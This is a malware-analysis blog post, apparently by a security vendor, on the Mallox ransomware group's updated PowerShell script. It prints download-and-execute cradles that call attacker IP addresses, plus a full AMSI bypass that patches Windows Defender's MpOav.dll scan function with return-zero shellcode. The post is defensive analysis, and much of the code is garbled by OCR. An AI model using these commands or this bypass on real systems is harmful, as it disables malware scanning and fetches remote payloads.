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In the past, as blogged here, we have seen that the Mallox ransomware group has been
targeting Indian companies since 2022. Recently, we noticed an update in their
PowerShell script which is the crux of this blog. PowerShell scripts are an important part of
the attack chain of Mallox attackers because after getting initial access to the machine
using SQL or RDP, rest of the access like privilege escalation, executing Remcos RAT will
be done using PowerShell only.
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Figure 1: PowerShell script being used for MS16-032 privilege escalation

Hostld=71764ae3-0671-4¢5f-87aa-b8e6b9485087

HostApplication=powershell.exe -NoP -Nonl -W Hidden if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64")
{IEX(New-Object Net.WebClient).DownloadString(http://172.247.116.8:8000/in6.ps1') jelse{IEX(New-Object Net.WebClient).DownloadString
('http://172.247.116.8:8000/in3.ps1")}

EngineVersion=

Figure 2: PowerShell script being used to download Mimikatz and run it

General Details

HostVersion=5.1.17763.2931
Hostld=b13451e6-4c33-4f42-82d0-eacd12b34%6d
HostApplication=C:AWindows\System32\WindowsPowerShellw1.0\powershell.exe -nop -exec bypass -c Sebd =

IMAKAFACKACANAAI RAAT.N ACTIAL ANCAII_ATIAN.  ATTIAT L. NeACLAT. . NAACAAFAA _ASAANADNTIACNAL . NCAT A TANATAATA & CACLA L...A

Figure 3: PowerShell being used for installing Remcos RAT

In their new updated powershell script, the attackers have included additional code which
will attempt to bypass AV’'s AMSI detection component first; before running their regular
code. AMSI (Anti Malware Scan Interface) is an interface in Windows OS which can be
used by any application like an AV, to get the (mostly) deobuscated copy of the scripts like
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powershell, jscript and vbscript etc, before their execution. AVs can then scan these scripts
and detect malicious scripts based on the AV’s signature. To use this Interface, the
applications have to register themselves by providing the dll path and the pointer to the
function having scanning logic for the scripts.

The updated PowerShell script looks like this:

Eif ( [System.Enviromment]::08Version.Version.major —eq 10) {

S$XAsDEJXZUW3ZSE1H1€30ggbQ¥CeA4FI = §( "

using System;

using System.Runtime.IntercpServices;

public class Apis {

[D11Tmport (*"kernsel32 ") ]

public static extern bool VirtualProtect (IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);

[DllImport (*"amsi’")]

public static extern int AmsiInitialize(string appName, out Int&4 context);

1

W )
Add-Type SXAsDBIXKZUWIZSEiHiE30ggbQYCeR4FT

5e1E27356wbttwPRxSfUCWpDH3gS = [byte[]] (0xb8, O0x0, 0x00, 0x00, Ox00, O0xC3)
-

SyX1kGYRPagctCPEzMQgeMgSimGrza = 0; 3 5Z1YE£17pnxox = $(183%5% — 183559)
$vVygSvxIEUO3McrRgTgV1lyIcQScnN = $(1063763 - 10€37535)

[Int64])SgBth5i = $(1336€037 - 1336037)

SHPBit44078IUSrt3imkRiCwvoX3tpla = [Apis)::AmsiInitialize($( "VWZad" ), [refl$gBth5i)

BHif ($HpBit4407SIUSrt3imkRiCwv9X3tpla -eq 0)
{
$vwnatjolsyLlmpIGROOhxj = [System.Runtime.InteropServices.Marshal]::ReadInté4 ([IntPtr]$gBth5i, 16)
5ob0péB = [System.Runtime.InteropServices.Marshal]::ReadInté4 ([IntPtr]SvwnatjolsyLlmpIGRQOhx], 64)

=] while (50b0OpEE -ne 0)

{
Sob0pEBVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]Scb0pEB)
SCONSgTbOPSKEBAVFINYk = [System.Runtime.InteropS8ervices.Marshal]::ReadInté4([IntPtr]S5ob0péBVebl, 24)
[APIs]::VirtualProtect ($COWSgJbOPSREBAVFINYE, [uint32]6, Ox40, [ref]SyXlkGYRPagctCPEzMQgeMg3SmGrzA)
[System.Runtime.InteropServices.Marshal]::Copy($c1E2J356wbttwPRx9EfUCWpDH3gS, 0, [IntPtr]SCOWSgJbCOPSKEBAVEFINYk, 6)

SbuGZlYfl7pnxox++
Sob0p6B = [System.Runtime.InteropServices.Marshal]::ReadInté4 ([IntPtr]SvwnatjolsyLlmpIGRQOhx], €4 + (SbuGZlYflTpnxox*
s

5vVyg5vxIEUO3McrRgTgV1yIcQScnN) )

3
L)|;iex((New-Object System.Net.Webclient).DownloadString("http://B8.214.26.3:39693/DRXEz"))

Figure 4: Latest PowerShell bypassing AMSI

This technique was developed and published by a Researcher named Maor Korkos in
2022.The mallox group has adopted the same and have started using it for bypassing.

The Script works as following :

1. The script imports Kernel32.dll and Amsi.dll and initialises VirtualProtect and
Amsilnitialise APIs to be used later.

using System;
using System.Runtime.InteropServices;

public class Apis (
[DllImport (" "kernel32 ")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, ocut uint lpfloldProtect); 1
[DllImport (" "amsi "}]

public static extern int Amsilnitialize(string appMames, ocut Int€é4 context);

}

Figure 5: Importing DIl and Initializing APls

2. A shellcode is kept stored in a variable to be copied into memory later. The purpose
of this shellcode is to move 0x0 to EAX register and return.
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)
Add-Type $XAsDBJXZUW3ZSEiHi630qgbQYCesRA4FI

Oxb8, 0x0, 0x00, 0=00, 0x00, 0=c2)| 2
SZ1YEl pnxox — § (1063959 - 183559)

y U0 . NN 1 63 - 1063755)

[Int€E4]$gBthSi = $(133603 1223603

Figure 6: Shellcode

3. Then it calls Amsilnitialise API with the appname as VWZad which returns a pointer
to amsicontext structure of type HAMSICONTEXT. This Structure mainly consist of
following :

o A signature, “AMSI” which defines the start of the structure.

o Appname, which the application registered while initialising AMSI (VWZad in
our case).

o Mainly point to the address of the DLL and functions that AV vendors have
registered with Windows to provide their anti malware capabilities to scan and
detect malicious PowerShell scripts. The registered function will be invoked by
the AmsiScanBuffer APl whenever a PowerShell script is executed.

o Session count.

FvVygovEIEUU3IMcrRgTgv1lylcQScnN = (1063763 — I0E3755)
[Int64]5gBth5i = $(1336037 - 133€037)

I$Hp8it44D?SIUSrtSimkRijvSXStpDa = [Zpis]::Emsilnitialize($( "VWzad" ), [rsf] $thh5i)| 3

if ($SHpBit4407SIUSrt3imkRiCwv9X3tpla -eq 0)

Figure 7: Amsilnitialise API being used

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E - 28ED-4109-99FE-BOD12TC5TAFE\InprocServerd2

|~ | | {2781761E-2BE0-4109-09FE- BOD 27CSTAFE) ~
| Hosts
Implemented Categories
InprocServer32
{2781761E-28E2-4109-09FE-BOD127TCSTAFE}
{27940963-8T6A-41D7-0447-568F6AI5A4DC)

Type Data
i REG_EXPAND_SZ *%ProgramData\Microsoft\Windows Defender\Platformd,18.23100.2003-0\MpQav.dil
ingModel  REG_SZ Bath

{279TB627-BTFA-4CBF-9472-6BAACFDFIE4T}
{2797CFE2-413A-43e6-ABFT-ASFAABTEIT19}
127 adpd14- X2 5-drir] - hd 26~ a4 3 ?RATIGSH])

Figure 8: Windows defender registered dll for AMSI i.e MpOav.dll

4. After getting the pointer to amsicontext structure, the script traverses through the
structure and finds the address of the function provided by the AV vendor. Then the
script changes the permission of the .txt section of the MpOav.dll (Windows defender
registered dll for AMSI) to PAGE_EXECUTE_READWRITE so that it can copy the
above-mentioned shellcode to the same function address to bypass it. As a result,the
function’s original content will be overwritten with the shellcode which will look like
Figure 11. So now whenever the AMSI function runs for the current PowerShell
session, it will return zero whenever a PowerShell script goes through
AmsiScanBuffer, which will mean the AV have judged the PowerShell script as clean
without even scanning it and will not be flagged
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{

$vwnatjolsyLlmpIGRQOhx] =

Hif ($Hp8it44073IUSrt3imkRiCwv9X3tpla -eq 0)

[8ystem.Runtime.InteropServices.Marshal] : :ReadInté4 ([IntPtr] $5gBth5i, 1€)

[uint32] 6,

50b0péB = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$vwnatjolsyLlmpIGRQOhx], 64)
) while ($50b0OpéEB -ne 0)
{
50b0péBVtbl = [System.Runtime.InteropServices.Marshal]::ReadInté4 ([IntPtr]5ckb0pEE)

SCOWSgJbOPSEEBAVFINYk = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]ScbOpéBVtbl, 24)
[APIs)::VirtualProtect ($COWSgIbOPSKEBAVFTNYk,
[System.Runtime.InteropServices.Marshal]::Copy($elE2J356wbttwPRx9fUCNpDH3g%, 0, [IntPtr]$COWSgJbOPSKkEBAVETINYk, 6)

0x40, [ref]S$yXlkGYRPagctCPEzMQgeMgSSmGrzA)

B

Figure 9: Patching shellcode in registered dll

¥
lotes bols <7 Source
MW7FFEAGDF3910 48: 895C24 08 mov gword ptr ss:[rsp+8],rbx
WIFFFEAGOF3915 48: 896C24 10 mov gword ptr ss:|jrsp+10f,rbp [gword |
WIFFFEAGDF391A 48: 897424 20 mov gword ptr ss:|frsp+20f,rsi
¥W7FFEAGOF 391F BT push rdi
WOFFFEAGDF3920 41:56 ush ri4
W 7FFEAGOF3922 H- 5
W 7FFEAGOF3924 48: B3EC 20 sub rsp,20
MW FFFEAGOF3925 4D BEBFO mov rl4,r8
W 7FFEAGOF3I92E 41 BEBFA mov rils,rdx
W 7FFEAGOF392E 48: BBF1 mov rsi,rcx
W F7FFEAGOF3931 40 BRCO test r8,ri
W 7FFEAGOF3934 ~ 75 0A jne mpoav.7FFEAGOF 3940
WIFFFEAGDF3936 BE S7000TE0 mov eax,80070057
W 7FFEAGOF393E ~ E9 TAOLOOOO jmp mpoav.7FFEAGOF3ABA
W07 FFEAGOF 3940 41:C700 01000000 mov dword ptr ds:[r8],1
M7 FFEAGOF3947 80B9 CS000000 00 cmp byte ptr ds:[rcx+C&8],0
¥WO7FFEAGOF 394E « 74 35 je mpoav.7FFEAGDF3985
¥ 7FFEAGOF 3950 48: BD1D 29090400 Tea rbx,gword ptr ds:[FFFEAG134230]
W FFFEAGOF 3957 48: BBOD 220320400 mov rocx,qword ptr ds: [FFFEAGL3I4280]
W 7FFEAGOF395E 48: 3BCEB Ccmp rox,rbx
WOFFFEAGDF3961 ~ 74 1B je mpoav.7FFEAGDF397E
M7FFEAGOF3963 FG41 1C 04 test byte ptr ds:[rcx+1cC],4
W 7FFEAGOF 3967 ~ 74 15 je mpoav.7FFEAGDF3I97E
J07FFEAGOF 3969 BA 0OFOO00000 mov edx,F
Figure 10: Mpoav.dll (Windows defender registered dll for AMSI) Original Code
] Plugins Favourites Options Help Moy 18 2023 (TitanEnagine)
+ 9§ Tl ffr AL B9
Motes ® Breakpoints B8 Memory Wap [ Call Stadk S5 SpH lsmipt @] symbols
007 FFEAGOF 3910 B 00000000 mow eax,o
WO0FFFEAGOF 2915 C32 ret
W07 FFEAGBDF3916 896C24 10 mov dword ptr ss:[Brsp+10§,ebp
W07 FFEAGOF291A 48: 897424 20 mov gword ptr ss:firsp+20f,rsi
WOFFFEAGOFI21F T D=t T a1
W0FFFEAGOF 3920 41:56 push ri4
07 FFEAGDOF3922 41:57 push ris Patched Code
D07 FFEAGOF 392 4 48: 8B3EC 20 sub rsp,20
WD0FFFEAGOF 3928 401 BBFO mov rl4,r8
WO07FFFEAGOF292E 4C: BEFA mov ris,rdx
W0OFFFEAGOF392ZE 45! BEBF1 mov rsi,rcx
ID0FFFEAGOF 2931 401 BRCO test r8,r8
WOFFFEAGOF 323 4 ~“ FhODA jne mpoav.7FFEAGDF3940

IDOFFFEAGBDOFZ936
IWDOFFFEAGOFZ93E
W07 FFEAGDF 3940
IDOFFFEAGDOFZ947
D07 FFEAGOFZ94E
D07 FFEABDOF 3950
IDOFFFEAGDFZ95 T
WO7FFFEAGDFZ95E
IDOFFFEAGOFZ961
IDOFFFEAGOFI963
W07 FFEAGDF 3967

B8 S70007EOD

~ E9 TAOLOOODD
41:C700 01000000
BOB2 C3000000 00

v 74 35
45: 801D 239020400
48: BBOD 22020400
48: 3BCE

v 74 1B

F&641 1C 04

mow eax, 80070057

jmp mpoav.7FFEAGOF3IABA

mov dword ptr ds:[r8],1

cmp byte ptr ds:[rcx+C8],0

je mpoav.7FFEAGDF3985

Tea rbx,qword ptr ds: [FFFEAGL3I42580]
mov Fox,qword ptr ds: [FFFEAG&L34280]
cmp rcx,rbx

je mpoav.7FFEAGDF397E

test byte ptr ds:[rex+1C],4

j& mpoav.7FFEAGDF397E

Figure 11: Mpoav.dll Patched Code

5. Now the script will move on to its main function which is to download the .NET
downloader, without worrying if the AV is going to detect the script or not.
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Sob0pEB = [System.Runtime.InteropServices.Marshal]::ReadInté4([IntPtr]SvwnatjolsyLlmpIGRQOhxj, 64 + (SbuGzlyf
$vVygS5vxIEUO3McrRgTgV1yIcQScnN) )
3] 5
. ]l;icx( (New-Object System.Net.Webclient).DownloadString("http://868.214.26.3:356593/DRXf=z") )I

Figure 12: Final PS command to download malware

This is not the first time that Mallox group have improved their technique, they are doing
this from time to time when AVs cause them issues by detecting their techniques. So we
need to be a step ahead by keeping ourselves updated with the latest bypassing
techniques used by threat actors. Protecting yourself by investing in a reputable security
product such as K7 Antivirus is therefore necessary in today’s world. We at K7 Labs
provide detection for bypassing techniques like these and all the latest threats. Users are
advised to use a reliable security product such as “K7 Total Security” and keep it up-to-
date to safeguard their devices.
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